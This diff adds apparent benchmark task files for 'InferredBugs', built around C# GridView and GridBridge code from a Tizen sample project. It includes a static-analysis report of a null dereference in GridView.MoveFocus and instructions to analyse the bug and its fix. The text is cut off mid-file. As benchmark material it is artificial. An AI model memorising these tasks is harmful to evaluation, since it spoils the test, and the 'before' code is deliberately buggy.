+        private HashSet<GridItem> nextInMemoryItemSet;
+
+        private Rect lastVisibleArea;
+
+        private Range onScreenRange;
+
+        //reuse
+        private List<View>[] recycledViews;
+        private int viewTypeCount;
+
+        private EventHandler<GridEventArgs> gridEventHandlers;
+    }
+
+    /// <summary>
+    /// The attributes of Animation.
+    /// </summary>
+    /// <code>
+    /// AnimationAttributes attrs = new AnimationAttributes();
+    /// attrs.BezierPoint1 = new  Vector2(0.21f, 2);
+    /// attrs.BezierPoint2 = new Vector2(0.14f, 1);
+    /// attrs.Duration = 1000;
+    /// </code>
+    public class AnimationAttributes
+    {
+        /// <summary>V1 on bezier curve</summary>
+        public Vector2 BezierPoint1;
+        /// <summary>V2 on bezier curve</summary>
+        public Vector2 BezierPoint2;
+        /// <summary>Animation duration</summary>
+        public int Duration;
+
+        /// <summary>
+        /// Constructs a AnimationAttributes..
+        /// </summary>
+        public AnimationAttributes()
+        {
+        }
+
+        /// <summary>
+        /// Constructs a AnimationAttributes with curve style..
+        /// </summary>
+        /// <param name="curve">curve</param>
+        public AnimationAttributes(string curve)
+        {
+        }
+
+        /// <summary>
+        /// Constructs a AnimationAttributes that is a copy of attrs..
+        /// </summary>
+        /// <param name="attrs">Construct Attributes</param>
+        public AnimationAttributes(AnimationAttributes attrs = null)
+        {
+            if (attrs == null)
+            {
+                return;
+            }
+
+            if (attrs.BezierPoint1 != null)
+            {
+                BezierPoint1 = new Vector2(attrs.BezierPoint1[0], attrs.BezierPoint1[1]);
+            }
+
+            if (attrs.BezierPoint2 != null)
+            {
+                BezierPoint2 = new Vector2(attrs.BezierPoint2[0], attrs.BezierPoint2[1]);
+            }
+
+            Duration = attrs.Duration;
+        }
+
+        /// <summary> Clone a AnimationAttributes </summary>
+        /// <returns> The AnimationAttributes copy</returns>
+        public AnimationAttributes Clone()
+        {
+            return new AnimationAttributes(this);
+        }
+    }
+
+    /// <summary>
+    /// A GridBridge object acts as a pipeline between an BridgeView and the
+    /// underlying data for that view. The Bridge provides access to the data items.
+    /// The Bridge is also responsible for making a View for each item in the data set.
+    /// </summary>
+    public abstract class GridBridge
+    {
+        /// <summary>
+        /// Event type of data change. 
+        /// </summary>
+        public enum DataChangeEventType
+        {
+            Add,
+            Remove,
+            Insert,
+            Clear,
+            Load,
+            Reset
+        }
+
+        /// <summary>
+        /// Data change event args at event call back,
+        /// user can get information about data change.
+        /// </summary>
+        /// <code>
+        ///private void OnDataChange(object o, GridBridge.DataChangeEventArgs e)
+        ///{
+        ///}
+        /// </code>
+        public class DataChangeEventArgs : EventArgs
+        {
+            /// <summary>
+            /// Data changed event type.
+            /// </summary>
+            public DataChangeEventType ChangeType
+            {
+                get { return m_ChangeType; }
+                set { m_ChangeType = value; }
+            }
+
+            /// <summary>
+            /// Changed data.
+            /// </summary>
+            public object data;
+            /// <summary>
+            /// Data change event parameters.
+            /// </summary>
+            public int[] param = new int[4];
+
+            private DataChangeEventType m_ChangeType;
+        }
+
+        /// <summary>
+        /// Event handler of data change event.
+        /// </summary>
+        /// <param name="sender">The object who sends the event.</param>
+        /// <param name="e">The event arguments.</param>
+        public delegate void EventHandler<DataChangeEventArgs>(object sender, DataChangeEventArgs e);
+
+        /// <summary>
+        /// Data change event handler, user can add/remove.
+        /// </summary>
+        public event EventHandler<DataChangeEventArgs> DataChangeEvent
+        {
+            add
+            {
+                dataChangeEventHandlers += value;
+            }
+
+            remove
+            {
+                dataChangeEventHandlers -= value;
+            }
+        }
+
+        /// <summary>
+        /// Constructor to create a grid view bridge with multi-groups.
+        /// </summary>
+        /// <param name="objects">Data list of differet groups.</param>
+        public GridBridge(List<List<object>> objects)
+        {
+            gridData = objects;
+        }
+
+        /// <summary>
+        /// Simple constructor to create a grid view bridge with one group.
+        /// </summary>
+        /// <param name="objects">Data list of grid view.</param>
+        public GridBridge(List<object> objects)
+        {
+            gridData = new List<List<object>>();
+            gridData.Add(objects);
+        }
+
+        /// <summary>
+        /// Create item View.
+        /// </summary>
+        /// <param name="groupIndex">Group index of item in grid view.</param>
+        /// <param name="itemIndex">Item index of specified group of grid view.</param>
+        /// <returns>View of specified item.</returns>
+        public abstract View GetItemView(int groupIndex, int itemIndex);
+
+        /// <summary>
+        /// Create group title of specified group, need to be overrided.
+        /// </summary>
+        /// <param name="groupIndex">Group index of grid view.</param>
+        /// <returns>Group title view.</returns>
+        public virtual View GetGroupTitleView(int groupIndex)
+        {
+            return null;
+        }
+
+        /// <summary>
+        /// Remove group title of specified group, need to be overrided.
+        /// </summary>
+        /// <param name="groupIndex">Group index of grid view.</param>
+        /// <param name="groupTitle">Group title view.</param>
+        public virtual void RemoveGroupTitleView(int groupIndex, View groupTitle)
+        {
+
+        }
+
+        /// <summary>
+        /// Update View that displays the data at the specified index in the data set when data change.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="view">A View that displays the data at the specified index in the data set.</param>
+        public abstract void UpdateItem(int groupIndex, int itemIndex, View view);
+
+        /// <summary>
+        /// Update View that displays the data at the specified index in the data set when focus change.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="view">Item view of specified item.</param>
+        /// <param name="FlagFocused">Focus in or focus out</param>
+        /// <param name="bSelected">LinearView item selected or not.</param>
+        public abstract void FocusChange(int groupIndex, int itemIndex, View view, bool FlagFocused, bool bSelected = false);
+
+        /// <summary>
+        /// Unload view at the specified index when item scroll out or deleted.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="view">Item view of specified item.</param>
+        public abstract void UnloadItem(int groupIndex, int itemIndex, View view);
+
+        /// <summary>
+        /// Unload view according to the specified viewType.
+        /// </summary>
+        /// <param name="viewType"> Item type set by users.</param>
+        /// <param name="view">A View that displays the data at the specified index in the data set.</param>
+        public abstract void UnloadItemByViewType(int viewType, View view);
+
+        /// <summary>
+        /// Get the type of View that will be created by GetView for the specified item.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <remarks>Integers must be in the range 0 to GetItemTypeCount() - 1.</remarks>
+        /// <returns>Item type.</returns>
+        public virtual int GetItemType(int groupIndex, int itemIndex)
+        {
+            return 0;
+        }
+
+        /// <summary>
+        /// Get the number of view types.
+        /// </summary>
+        /// <returns>The count of view type.</returns>
+        public virtual int GetItemTypeCount()
+        {
+            return 1;
+        }
+
+        /// <summary>
+        /// Check whether item is enable or not.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="itemIndex">The item index.</param>
+        /// <returns>Item is enabled or disabled.</returns>
+        public virtual bool IsItemEnabled(int groupIndex, int itemIndex)
+        {
+            return true;
+        }
+
+        /// <summary>
+        /// Get the data at the specified index.
+        /// </summary>
+        /// <param name="itemIndex">The item index.</param>
+        /// <param name="groupIndex">The group index.</param>
+        /// <returns>The data at the specified index.</returns>
+        public object GetData(int itemIndex, int groupIndex = 0)
+        {
+            object data = null;
+            if (gridData != null && gridData.ElementAt(groupIndex) != null && itemIndex >= 0 && itemIndex < gridData.ElementAt(groupIndex).Count)
+            {
+                data = gridData.ElementAt(groupIndex).ElementAt(itemIndex);
+            }
+
+            return data;
+        }
+
+        /// <summary>
+        /// Get data group count of the bridge.
+        /// </summary>
+        /// <returns>Group count of the data set.</returns>
+        public int GetGroupCount()
+        {
+            int count = 0;
+            if (gridData != null)
+            {
+                count = gridData.Count;
+            }
+
+            return count;
+        }
+
+        /// <summary>
+        /// How many items are in the data set of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The data group index.</param>
+        /// <returns>Count of items of specified group.</returns>
+        public int GetItemCount(int groupIndex = 0)
+        {
+            int count = 0;
+            if (gridData != null && gridData.ElementAtOrDefault(groupIndex) != null)
+            {
+                count = gridData.ElementAt(groupIndex).Count;
+            }
+
+            return count;
+        }
+
+        /// <summary>
+        /// How many items are in the data set of whole data list.
+        /// </summary>
+        /// <returns>Count of total items</returns>
+        public int GetTotalCount()
+        {
+            int count = 0;
+            if (gridData != null)
+            {
+                foreach (List<object> group in gridData)
+                {
+                    count += group.Count;
+                }
+            }
+
+            return count;
+        }
+
+        /// <summary>
+        /// Adds the specified data at the end of the List of specified group.
+        /// </summary>
+        /// <param name="data">The data to add at the end of the List.</param>
+        /// <param name="groupIndex">The group index which need to add data.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Add(object data, int groupIndex = 0, bool sendEvent = true)
+        {
+            Debug.Assert(groupIndex < gridData.Count);
+
+            gridData[groupIndex].Add(data);
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Add;
+            e.param[0] = groupIndex;
+            e.data = data;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Removes the specified data from the List of specified group.
+        /// </summary>
+        /// <param name="fromIndex">The from index of data to remove from the list.</param>
+        /// <param name="removeNum">The remove number of data to remove from the list.</param>
+        /// <param name="groupIndex">The group index which need to add data.</param>
+        /// <param name="withAni">Remove with animation or not.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+
+        public void RemoveItems(int fromIndex, int removeNum, int groupIndex = 0, bool withAni = false, bool sendEvent = true)
+        {
+            Debug.Assert(groupIndex < gridData.Count);
+
+            if (fromIndex + removeNum > gridData[groupIndex].Count)
+            {
+                return;
+            }
+
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Remove;
+            e.param[0] = groupIndex;
+            e.param[1] = fromIndex;
+            e.param[2] = removeNum;
+            e.param[3] = withAni ? 1 : 0;
+            OnDataChangeEvent(this, e, sendEvent);
+            gridData[groupIndex].RemoveRange(fromIndex, removeNum);
+            e.ChangeType = DataChangeEventType.Load;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Removes the specified data from the List of specified group.
+        /// </summary>
+        /// <param name="itemIndex">The from index of data to remove from the list.</param>
+        /// <param name="groupIndex">The group index which need to add data.</param>
+        /// <param name="withAni">Remove with animation or not.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Remove(int itemIndex, int groupIndex = 0, bool withAni = false, bool sendEvent = true)
+        {
+            if (itemIndex < 0 || itemIndex >= GetItemCount(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", "Error!! item index is invalid");
+                return;
+            }
+
+            RemoveItems(itemIndex, 1, groupIndex, withAni, sendEvent);
+        }
+
+        /// <summary>
+        /// Inserts the specified data at the specified index in the List of specified group.
+        /// </summary>
+        /// <param name="index">The index at which the data must be inserted.</param>
+        /// <param name="data">The data to insert into the list.</param>
+        /// <param name="groupIndex">The group index which need to insert data.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Insert(int index, object data, int groupIndex = 0, bool sendEvent = true)
+        {
+            Debug.Assert(groupIndex < gridData.Count);
+
+            gridData[groupIndex].Insert(index, data);
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Insert;
+            e.data = data;
+            e.param[0] = groupIndex;
+            e.param[1] = index;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Remove all elements from the list.
+        /// </summary>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Clear(bool sendEvent = true)
+        {
+            if (gridData != null)
+            {
+                DataChangeEventArgs e = new DataChangeEventArgs();
+                e.ChangeType = DataChangeEventType.Clear;
+                OnDataChangeEvent(this, e, sendEvent);
+                gridData.Clear();
+            }
+        }
+
+        /// <summary>
+        /// Reset bridge, and Update LinearView with new bridge data.
+        /// </summary>
+        /// <param name="objects">Data list of differet groups.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Reset(List<List<object>> objects, bool sendEvent = true)
+        {
+            Clear();
+            gridData = objects;
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Reset;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Reset bridge, and Update LinearView with new bridge data.
+        /// </summary>
+        /// <param name="objects">Data list of grid view.</param>
+        /// <param name="sendEvent">Notify list to remove item or not.</param>
+        public void Reset(List<object> objects, bool sendEvent = true)
+        {
+            Clear();
+            gridData = new List<List<object>>();
+            gridData.Add(objects);
+            DataChangeEventArgs e = new DataChangeEventArgs();
+            e.ChangeType = DataChangeEventType.Reset;
+            OnDataChangeEvent(this, e, sendEvent);
+        }
+
+        /// <summary>
+        /// Swap data of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The group index which need to insert data.</param>
+        /// <param name="from">First item index of the group.</param>
+        /// <param name="to">Second item index of the group.</param>
+        public void SwapGroupData(int groupIndex, int from, int to)
+        {
+            List<object> groupDataList = gridData.ElementAt(groupIndex);
+            object fromData = groupDataList.ElementAt(from);
+            groupDataList[from] = groupDataList[to];
+            groupDataList[to] = fromData;
+        }
+
+        private void OnDataChangeEvent(object sender, DataChangeEventArgs e, bool sendEvent = true)
+        {
+            if (!sendEvent)
+            {
+                return;
+            }
+
+            if (dataChangeEventHandlers != null)
+            {
+                dataChangeEventHandlers(sender, e);
+            }
+        }
+
+        private List<List<object>> gridData;
+        private EventHandler<DataChangeEventArgs> dataChangeEventHandlers;
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `curFocusedCell` last assigned on line 1735 could be null and is dereferenced at line 1744, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void GridView.MoveFocus(String,Int32,Int32)
+
+### File:
+TV/MediaHubSample/MediaHubSample/src/View/GridView/Grid.cs
+
+### Key:
+Grid.cs|MoveFocus|NULL_DEREFERENCE
+
+### Node Key:
+cff514ccb90de40f899d1a804c0d1f8c
+
+### Hash:
+cb75677025efdadd47289f6deab9aca5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0767/instruction.md b/inferredbugs-0767/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cc03e971c7c149db320528e1b3036d751caec20c
--- /dev/null
+++ b/inferredbugs-0767/instruction.md
@@ -0,0 +1,3833 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Tizen-CSharp-Samples
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/** Copyright (c) 2017 Samsung Electronics Co., Ltd.
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+* http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*
+*/
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Diagnostics;
+using Tizen.NUI;
+using Tizen.NUI.BaseComponents;
+
+namespace Tizen.NUI
+{
+    /// <summary>
+    /// A view that shows items in two-dimension grid, which can scroll horizontally or vertically.
+    /// The items in the grid come from the GirdBridge associated with this view.
+    /// </summary>
+    public class GridView : View
+    {
+        /// <summary>
+        /// GridView event types
+        /// </summary>
+        public enum GridEventType
+        {
+            /// <summary>
+            /// Event triggered when focus change 
+            /// </summary>
+            FocusChange,
+            /// <summary>
+            /// Event triggered when item scroll in 
+            /// </summary>
+            ItemScrolledIn,
+            /// <summary>
+            /// Event triggered when item scroll out 
+            /// </summary>
+            ItemScrolledOut,
+        }
+
+        /// <summary>
+        /// GridView orientation types
+        /// </summary>
+        public enum GridType
+        {
+            /// <summary>
+            /// Items laid horizontal 
+            /// </summary>
+            Horizontal = 0,
+            /// <summary>
+            /// Items laid vertical
+            /// </summary>
+            Vertical
+        }
+
+        /// <summary>
+        /// GridView event args at event call back, user can get information
+        /// </summary>
+        public class GridEventArgs : EventArgs
+        {
+            /// <summary>
+            /// GridView event type
+            /// </summary>
+            public GridEventType EventType
+            {
+                get;
+                set;
+            }
+
+            /// <summary>
+            /// GridView event data
+            /// </summary>
+            public int[] param = new int[4];
+        }
+
+        /// <summary>
+        /// Construct GridView.
+        /// </summary>
+        public GridView()
+        {
+            Initialize();
+
+            // register event handler for relayout
+            Relayout += OnRelayoutUpdate;
+
+            FocusGained += ControlFocusGained;
+            FocusLost += ControlFocusLost;
+        }
+
+        /// <summary> 
+        /// Get/Set list type. 
+        /// </summary>
+        public GridType Type
+        {
+            get { return gridType; }
+            set { gridType = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set list spaces around items. 
+        /// </summary>
+        public new Vector4 Margin
+        {
+            get { return margin; }
+            set { margin = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space between columns 
+        /// </summary>
+        public int ColumnSpace
+        {
+            get { return columnSpace; }
+            set { columnSpace = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space between rows 
+        /// </summary>
+        public int RowSpace
+        {
+            get { return rowSpace; }
+            set { rowSpace = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space between groups 
+        /// </summary>
+        public int GroupSpace
+        {
+            get { return groupSpace; }
+            set { groupSpace = value; }
+        }
+
+        /// <summary> 
+        /// Get/Set space for title 
+        /// </summary>
+        public int TitleSpace
+        {
+            get { return titleSpace; }
+            set { titleSpace = value; }
+        }
+
+        /// <summary>
+        /// Get/Set enable flag of whether support straight path focus move.
+        /// </summary>
+        public bool StateStraightPathEnable
+        {
+            get;
+            set;
+        }
+        /// <summary>
+        /// Get/Set enable flag of right circulation of GridView.
+        /// </summary>
+        public bool StateRightCircularEnable
+        {
+            get;
+            set;
+        }
+
+        /// <summary>
+        /// Get/Set enable flag of left circulation of GridView.
+        /// </summary>
+        public bool StateLeftCircularEnable
+        {
+            get;
+            set;
+        }
+
+        /// <summary>
+        /// Get/Set focus move animation duration of GridView. 
+        /// </summary>
+        public int FocusMoveDuration
+        {
+            get
+            {
+                return focusMoveAniDuration;
+            }
+
+            set
+            {
+                focusMoveAniDuration = value;
+                //focusMoveAni.Duration = value;
+                //scaleAni.Duration = value;
+            }
+        }
+
+        /// <summary>
+        /// Get/Set scroll bar fade out time
+        /// </summary>
+        public int ScrollBarFadeOutDuration
+        {
+            get;
+            set;
+        }
+
+
+        /// <summary> 
+        /// Preload item buffer size at front 
+        /// </summary>
+        public int PreloadFrontColumnSize
+        {
+            get { return preloadFrontColumnSize; }
+            set { preloadFrontColumnSize = value ; }
+        }
+
+        /// <summary> 
+        /// Preload item buffer size at back 
+        /// </summary>
+        public int PreloadBackColumnSize
+        {
+            get { return preloadBackColumnSize; }
+            set { preloadBackColumnSize = value; }
+        }
+
+        /// <summary> 
+        /// Focus in scale factor 
+        /// </summary>
+        public float FocusInScaleFactor
+        {
+            get { return focusInScaleFactor; }
+            set { focusInScaleFactor = value; }
+        }
+
+        /// <summary> 
+        /// Focus in scale animation duration 
+        /// </summary>
+        public AnimationAttributes FocusInScaleAnimationAttrs
+        {
+            get { return focusInScaleAnimationAttrs; }
+            set { focusInScaleAnimationAttrs = value; }
+        }
+
+        /// <summary> 
+        /// Focus out scale animation duration 
+        /// </summary>
+        public AnimationAttributes FocusOutScaleAnimationAttrs
+        {
+            get { return focusOutScaleAnimationAttrs; }
+            set { focusOutScaleAnimationAttrs = value; }
+        }
+        /// <summary>
+        /// Sets the data behind this GridView.
+        /// </summary>
+        /// <param name="bridge">The GridBridge which is responsible for maintaining the data
+        /// backing this grid and for producing a view to represent an item in the data set.</param>
+        public void SetBridge(GridBridge bridge)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Set bridge for GridView"));
+            Debug.Assert(bridge != null);
+
+            if (gridBridge != null)
+            {
+                return;
+            }
+
+            gridBridge = bridge;
+
+            gridBridge.DataChangeEvent += OnDataChange;
+
+            for (int i = 0; i < groupList.Count; i++)
+            {
+                View groupTitle = gridBridge.GetGroupTitleView(i);
+                if (groupTitle != null)
+                {
+                    groupList[i].title = groupTitle;
+
+                    if (GridType.Horizontal == gridType)
+                    {
+                        groupTitle.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                        groupTitle.PivotPoint = Tizen.NUI.PivotPoint.BottomLeft;
+                        groupTitle.PositionUsesPivotPoint = true;
+                        groupTitle.PositionX = groupList[i].startPos;
+                        groupTitle.PositionY = -titleSpace;
+                        Tizen.Log.Fatal("NUI", "titleView.PositionX: " + groupTitle.PositionX + ", titleView.PositionY: " + groupTitle.PositionY);
+                    }
+                    else
+                    {
+                        groupTitle.PositionX = 0;
+                        groupTitle.PositionY = groupList[i].startPos - titleSpace;
+                    }
+
+                    itemGroup.Add(groupTitle);
+                }
+            }
+
+            SetViewTypeCount(gridBridge.GetItemTypeCount());
+
+
+            if (groupList.Count > 0)
+            {
+                Load();
+                if (HasFocus() == true && curInMemoryItemSet.Count != 0)
+                {
+                    SetFocus(focusGroupIndex, focusItemIndex);
+                }
+            }
+        }
+        /// <summary>
+        /// Add groups to GridView.
+        /// </summary>
+        /// <param name="groupCount">The count of groups to add.</param>
+        public void AddGroup(int groupCount)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add Group Number{0}", groupCount));
+            int prevCount = groupList.Count;
+            for (int i = prevCount; i < groupCount + prevCount; i++)
+            {
+                Group newGroup = new Group();
+                newGroup.index = i;
+                newGroup.columnList = new List<Column>();
+                newGroup.itemList = new List<GridItem>();
+                newGroup.itemIndexToCell = new Dictionary<int,Cell>();
+
+                if (GridType.Horizontal == gridType)
+                {
+                    newGroup.startPos = newGroup.endPos = (i == 0 ? 0 : groupSpace + groupList.ElementAt(i - 1).endPos);
+                }
+                else
+                {
+                    newGroup.startPos = newGroup.endPos = (i == 0 ? 0 : groupSpace + groupList.ElementAt(i - 1).endPos + titleSpace);
+                }
+
+                if (gridBridge != null)
+                {
+                    View groupTitle = gridBridge.GetGroupTitleView(i);
+                    if (groupTitle != null)
+                    {
+                        newGroup.title = groupTitle;
+                        if (GridType.Horizontal == gridType)
+                        {
+                            groupTitle.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                            groupTitle.PivotPoint = Tizen.NUI.PivotPoint.BottomLeft;
+                            groupTitle.PositionUsesPivotPoint = true;
+                            groupTitle.PositionX = newGroup.startPos;
+                            groupTitle.PositionY = -titleSpace;
+                            Tizen.Log.Fatal("NUI", "titleView.PositionX: " + groupTitle.PositionX + ", titleView.PositionY: " + groupTitle.PositionY);
+                        }
+                        else
+                        {
+                            groupTitle.PositionX = 0;
+                            groupTitle.PositionY = newGroup.startPos - titleSpace;
+                        }
+
+                        itemGroup.Add(groupTitle);
+                    }
+                }
+
+                groupList.Add(newGroup);
+           }
+        }
+
+        internal void ResetGroup(int groupCount)
+        {
+            Tizen.Log.Fatal("NUI", "...." + groupCount);
+            if (groupList.Count < groupCount)
+            {
+                AddGroup(groupCount - groupList.Count);
+            }
+            else if (groupList.Count > groupCount)
+            {
+                int removeCount = groupList.Count - groupCount;
+                for (int i = groupCount; i < groupList.Count; i++)
+                {
+                    if (groupList.ElementAt(i).title != null)
+                    {
+                        itemGroup.Remove(groupList.ElementAt(i).title);
+                        gridBridge.RemoveGroupTitleView(i, groupList.ElementAt(i).title);
+                    }
+
+                    Clear(i);
+                }
+
+                groupList.RemoveRange(groupCount, removeCount);
+            }
+        }
+
+        // Add column to GridView.
+        internal void AddColumn(int columnWidth, int groupIndex = 0)
+        {
+            if (groupList.Count == 0)
+            {
+                Group newGroup = new Group();
+                newGroup.index = 0;
+                newGroup.columnList = new List<Column>();
+                newGroup.itemList = new List<GridItem>();
+                newGroup.itemIndexToCell = new Dictionary<int, Cell>();
+                newGroup.startPos = newGroup.endPos =  0;
+                groupList.Add(newGroup);
+            }
+
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add column columnWidth {0} to group {1}",columnWidth, groupIndex));
+            
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            Column newColumn = new Column();
+            newColumn.groupIndex = groupIndex;
+            newColumn.index = curGroup.columnList.Count;
+            newColumn.space = columnWidth;
+
+            if (newColumn.index == 0)
+            {
+                newColumn.startPos = curGroup.startPos;
+            }
+            else
+            {
+                newColumn.startPos = curGroup.columnList.ElementAt(newColumn.index - 1).endPos + columnSpace; 
+            }
+
+            newColumn.endPos = newColumn.startPos + columnWidth;
+
+            if (newColumn.cellList == null)
+            {
+                newColumn.cellList = new List<Cell>();
+            }
+
+            curGroup.columnList.Add(newColumn);
+
+            float posOffset = (0 == newColumn.index) ? columnWidth : columnWidth + columnSpace;
+            curGroup.endPos += posOffset;
+ 
+            for (int i = groupIndex + 1; i < (int)groupList.Count; i++)
+            {
+                if (GridType.Horizontal == gridType && groupList.ElementAt(i).title != null)
+                {
+                    groupList.ElementAt(i).title.PositionX += posOffset;
+                }
+
+                groupList.ElementAt(i).ResetPosition(posOffset);
+            }
+
+            Tizen.Log.Fatal("NUI", "...");
+            return;
+        }
+        /// <summary>
+        /// Add row to the column in GridView.
+        /// </summary>
+        /// <param name="columnIndex">The column index;</param>
+        /// <param name="rowHeight">The row space.</param>
+        /// <param name="groupIndex">The group index.</param>
+        public void AddRowToColumn(int columnIndex, int rowHeight, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add row rowHeight {0} to column {1} of group {2}", rowHeight, columnIndex, groupIndex));
+            if (!IsColumnIndexValid(groupIndex, columnIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid column index"));
+                return;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            Column curColumn = curGroup.columnList.ElementAt(columnIndex);
+
+            int curRowNumInCol = curColumn.cellList.Count;
+
+            Cell newCell = new Cell();
+
+            Cell lastCell = (curRowNumInCol == 0 ? null : curColumn.cellList.ElementAt(curRowNumInCol - 1));
+
+            if (GridType.Horizontal == gridType)
+            {
+                newCell.rect.X = curColumn.startPos;
+                newCell.rect.Y = (curRowNumInCol == 0 ? 0 : lastCell.rect.Bottom() + rowSpace);
+                newCell.rect.Height = rowHeight;
+                newCell.rect.Width = curColumn.space;
+            }
+            else
+            {
+                newCell.rect.X = (curRowNumInCol == 0) ? 0 : lastCell.rect.Right() + columnSpace;
+                newCell.rect.Y = curColumn.startPos;
+                newCell.rect.Height = rowHeight;
+                newCell.rect.Width = curColumn.space;
+            }
+
+            newCell.columnIndex = columnIndex;
+            newCell.rowIndex = curRowNumInCol;
+            newCell.index = curRowNumInCol;
+            if (curRowNumInCol == 0)
+            {
+                if (columnIndex == 0)
+                {
+                    newCell.itemIndex = 0;
+                }
+                else
+                {
+                    newCell.itemIndex = curGroup.columnList.ElementAt(columnIndex - 1).endItemIndex + 1;
+                }
+            }
+            else
+            {
+                newCell.itemIndex = lastCell.itemIndex + 1;
+            }
+
+            Tizen.Log.Fatal("NUI", " >>>>>>> newCell.itemIndex: " + newCell.itemIndex + " newCell.rect[" + newCell.rect.X + ", " + newCell.rect.Y + ", " + newCell.rect.Width + ", " + newCell.rect.Height + "]");
+
+            curColumn.cellList.Add(newCell);
+            Tizen.Log.Fatal("NUI", "...");
+
+            if (curRowNumInCol == 0)
+            {
+                curColumn.startItemIndex = newCell.itemIndex;
+            }
+
+            curColumn.endItemIndex = newCell.itemIndex;
+            Tizen.Log.Fatal("NUI", " >>>>>>> curColumn.startItemIndex: " + curColumn.startItemIndex + " curColumn.endItemIndex: " + curColumn.endItemIndex);
+
+            curGroup.itemIndexToCell.Add(newCell.itemIndex, newCell);
+            curGroup.realCellCount++;
+
+            Tizen.Log.Fatal("NUI", "Group: " + groupIndex + ", Column: " + columnIndex + " Cell.rowIndex: " + newCell.rowIndex + " Cell.columnIndex: " + newCell.columnIndex + " Cell.itemIndex: " + newCell.itemIndex + " curGroup.realCellCount:" + curGroup.realCellCount);
+        }
+
+        // Add row to the all column in same group of GridView.
+        internal void AddRowToAllColumn(int rowHeight, int groupIndex)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add row rowHeight {0} to to all column of group {1}", rowHeight, groupIndex));
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            int columnCount = groupList.ElementAt(groupIndex).columnList.Count;
+            for (int i = 0; i < columnCount; i++)
+            {
+                AddRowToColumn(i, rowHeight, groupIndex);
+            }
+        }
+        /// <summary>
+        /// Quickly add an regular grid by pass column/row number and cell size.
+        /// </summary>
+        /// <param name="columnCount">The columns count.</param>
+        /// <param name="rowCount">The rows count.</param>
+        /// <param name="columnWidth">The column width.</param>
+        /// <param name="rowHeight">The row height.</param>
+        /// <param name="groupIndex">The groupIndex, default value is -1, means all the groups will use the same regular grid.</param>
